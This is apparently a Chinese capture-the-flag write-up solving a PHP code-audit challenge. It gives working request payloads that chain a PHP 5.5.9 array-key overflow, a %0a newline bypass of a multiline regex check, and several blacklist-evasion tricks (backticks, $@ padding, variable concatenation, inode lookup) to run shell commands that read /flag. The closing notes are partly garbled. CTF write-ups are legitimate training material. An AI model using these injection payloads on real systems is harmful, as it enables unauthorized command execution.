打开后发现是一道php代码审计题
1.首先是个判断,既要数组强等,又要首元素不为admin
(PHP5.59的漏洞)
2.做了一个正则匹配,要求字符串全为数字,大小写不敏感,跨行检测
(匹配数字注意到了,如何绕过呢,跨行))
3.写了一个黑名单,把常用的都排除了
一、php5.5.9这个版本的本身漏洞
参考:
PHP的信息安全(入侵获取$flag)的题目【Q2】
PHP数组的key溢出问题
看了其他大佬的wp,发现这个php5.5.9版本的数组溢出值为4294967296,当数值溢出的时候就会覆盖0键值(我没有php5.5.9的环境,用5.4测试反正是没过)
然后构造payload
stuff[4294967296]=admin&stuff[1]=user&num=123
二、数字检测
if (preg_match("/^\d+$/im",$num)){
只允许纯数字,但是要想命令执行很明显我们需要字母。
可以注意到preg_match开启了/m,也就是开启了多行匹配,因此^和$不只是匹配字符串的开头和结尾,也匹配一行的开头和一行的结尾。
因此我们利用%0a换一行,
把命令写在其他的行,这样这个正则匹配就只能匹配到第一行了。
但是这里有个坑,就是用harkbar不行。真的是太坑了,用bp:
stuff[4294967296]=admin&stuff[1]=user&num=123%0als
hackbar不能成功的原因是浏览器会自动在换行符%0a前面加上回车符%0d,凑成%0d%0a,使绕过失败。
三.命令执行
文件则有两个比较好用的方法
方法1 利用文件的inode号
我们可以看到/flag文件的inode号:
stuff[4294967296]=admin&stuff[1]=user&num=123%0als -i /
stuff[4294967296]=admin&stuff[1]=user&num=123%0atac ` find / -inum 23337141`
方法2输出到文件里
然后执行文件
stuff[4294967296]=admin&stuff[1]=user&num=123%0aprintf /fla > /tmp/hello %26%26 printf g >> /tmp/hello %26%26 tac `tac /tmp/hello`
显示有如下的办法
解法一:利用反引号`
这是我查资料查到的,真的是全新姿势。我的印象里,例如过滤了cat,我们可以利用这些方式来绕过(不考虑编码绕过之类的):
ca''t
cat""t
ca\t
但是我查到了反引号居然这样和上面的有同样的效果:
ca``t
而这题又没有过滤反引号,因此就可以随便执行命令了:
方法二 1 和 1和 1和@
$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空
num=1%0aca$1t /fl$1ag
num=1%0aca$@t /fl$@ag
方法三 变量拼接
也是一种比较常用的方法,既然过滤了flag,而又没过滤$,就可以用变量拼接:
num=1%0aa=f;b=lag;tac /$a$b;
stuff[4294967296]=admin&stuff[1]=user&num=1%0atac+/f``lag
知识点
1 php5.5的数组key溢出
2 换行符绕过正则跨行匹配 %0a
3 inode ls -i /绕过正则 变量拼接
1
和
1和
1和@ ${21} ca’'t cat""t ca\t ca``t
4 cat tac more less head tail nl
自己也尝试了一个方法 find / -name f
@
l
a
g
t
a
c
/
f
@lag tac /f
@lagtac/f@lag
也可以得出结果